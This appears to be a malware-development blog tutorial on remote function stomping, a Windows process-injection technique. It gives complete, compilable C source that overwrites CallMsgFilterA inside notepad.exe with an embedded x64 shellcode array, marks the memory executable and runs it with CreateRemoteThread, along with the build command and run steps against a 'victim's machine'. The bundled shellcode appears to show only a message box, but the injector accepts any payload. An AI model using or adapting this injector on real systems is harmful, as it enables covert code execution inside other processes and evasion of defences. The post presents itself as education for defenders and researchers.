6 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

Next one in my blog about remote function stomping.

remote function stomping

All processes that use the DLLs that implement Windows API functions share them. This means that the functions inside the DLL have the same address in all processes. Because each process has its own virtual address space, the DLL’s address will be different from one to the next. So, even though the target function’s value stays the same from one process to the next, the DLL that exports these functions might change.

For example, kernel32.dll will be shared by two processes, A and B. However, because of Address Space Layout Randomization, the address of the DLL may be different in each process. The location of VirtualAlloc, which comes from kernel32.dll, will be the same in both processes, though.

One important thing to keep in mind is that the DLL that exports the intended function must already be loaded into the target process for function stomping to work. For instance, if you want to target the IECreateFile function in a remote function that comes from ieframe.dll, that source file must already be put into the target process. In the event that Setupapi.dll is not loaded in the remote process, the IECreateFile function will not be present in the target process. This will cause an attempt to write to an address that does not exist.

practical example

The code is similar to the local function stomping code, however, it uses different WinAPI functions to carry out code injection.

Let’s say our target process is notepad.exe. First of all, open notepad.exe in x64dbg debugger.

img

img

And choose some function from Symbols tab:

img

So, in our code, the first thing that needs to be done is to use LoadLibraryA to load user.dll into the local process memory. Next, use GetProcAddress to get the address of the function:

printf("loading ... ");
h = LoadLibraryA("user32.dll");
if (h == NULL){
  printf("LoadLibraryA failed: %d \n", GetLastError());
  return -1;
}
printf("loading user32.dll done \n");

addr = GetProcAddress(h, "CallMsgFilterA");
if (addr == NULL){
  printf("GetProcAddress failed: %d \n", GetLastError());
  return -1;
}

printf("address Of \"%s\": 0x%p \n", "CallMsgFilterA", addr);

The next step would be to stomp on the function and put the payload in its place. VirtualProtectEx should be used to mark the function’s memory area as readable and writable so that it can be changed. Finally, VirtualProtectEx is used to mark the area as executable (RX or RWX). The payload is then put into the function’s address.

if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_READWRITE, &old)) {
  printf("VirtualProtectEx [RW] failed : %d \n", GetLastError());
  return -1;
}

if (!WriteProcessMemory(ph, addr, my_payload, sizeof(my_payload), NULL)) {
  printf("WriteProcessMemory failed : %d \n", GetLastError());
  return -1;
}

if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
  printf("VirtualProtectEx [RWX] failed : %d \n", GetLastError());
  return -1;
}

For finding target process and get handle just use this logic:

int findProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

As you can see, to find PID we call findProc function which basically, what it does, it takes the name of the process we want to inject to and try to find it in a memory of the operating system, and if it exists, it’s running, this function return a process ID of that process.

in the main function you need:

pid = findProc(argv[1]);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (!ph) {
  printf("failed to open process :(\n");
  return -2;
}

if (pid) {
  printf("target process pid: %d \n", pid);
}

For simplicity, we just print this PID.

Finally, full source code is looks like this:

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <tlhelp32.h>

int findProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

// x64 meow-meow shellcode
unsigned char my_payload[] = {
  0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
  0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
  0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
  0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
  0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
  0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
  0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
  0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
  0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
  0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
  0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
  0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
  0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
  0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
  0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
  0x85,0x25,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
  0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,
  0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
  0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x4d,0x65,0x6f,0x77,0x2d,0x6d,0x65,0x6f,0x77,
  0x21,0x00,0x3d,0x5e,0x2e,0x2e,0x5e,0x3d,0x00
  };

int main(int argc, char* argv[]) {
  int pid = 0;
  PVOID addr = NULL;
  HMODULE h = NULL;
  HANDLE ph = NULL;
  HANDLE th = NULL;
  DWORD old = NULL;

  pid = findProc(argv[1]);
  ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

  if (!ph) {
    printf("failed to open process :(\n");
    return -2;
  }

  if (pid) {
    printf("target process pid: %d \n", pid);
  }

  printf("press <Enter> to load user32.dll...");
  getchar();

  printf("loading ... ");
  h = LoadLibraryA("user32.dll");
  if (h == NULL){
    printf("LoadLibraryA failed: %d \n", GetLastError());
    return -1;
  }
  printf("loading user32.dll done \n");

  addr = GetProcAddress(h, "CallMsgFilterA");
  if (addr == NULL){
    printf("GetProcAddress failed: %d \n", GetLastError());
    return -1;
  }

  printf("address Of \"%s\": 0x%p \n", "CallMsgFilterA", addr);

  printf("press <Enter> to write payload ... ");
  getchar();
  printf("writing payload... ");

  if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_READWRITE, &old)) {
    printf("VirtualProtectEx [RW] failed : %d \n", GetLastError());
    return -1;
  }

  if (!WriteProcessMemory(ph, addr, my_payload, sizeof(my_payload), NULL)) {
    printf("WriteProcessMemory failed : %d \n", GetLastError());
    return -1;
  }

  if (!VirtualProtectEx(ph, addr, sizeof(my_payload), PAGE_EXECUTE_READWRITE, &old)) {
    printf("VirtualProtectEx [RWX] failed : %d \n", GetLastError());
    return -1;
  }
  
  printf("writing payload: done \n");

  printf("press <Enter> to run the payload ... ");
  getchar();

  th = CreateRemoteThread(ph, NULL, NULL, addr, NULL, NULL, NULL);
  if (th != NULL)
    WaitForSingleObject(th, INFINITE);

  printf("press <Enter> to quit ... ");
  getchar();

  return 0;
}

demo

Let’s go to see everything in action.

Compile our malware:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

malware

Then run notepad.exe on victim’s machine and run:

.\hack.exe notepad.exe

malware

malware

malware

then check target address:

malware

malware

malware

write payload:

malware

finally, run payload:

malware

malware

As you can see, everything is worked perfectly, as expected. Function in the remote process stomped, payload successfully executed! =^..^=

Once again, if you try to use function which is not provided by target process you’re failed!

Like this:

img

img

img

Remove debugging prints (hack2.c), then upload this compiled sample to ANY.RUN sandbox:

malware

malware

malware

malware

As you can see, verdict: suspicious activity.

https://app.any.run/tasks/12cf4f57-3ac4-4467-9305-8644a61b0e2a

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

malware

Thanks to ANY.RUN for API!

VBA stomping
hack2.exe
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine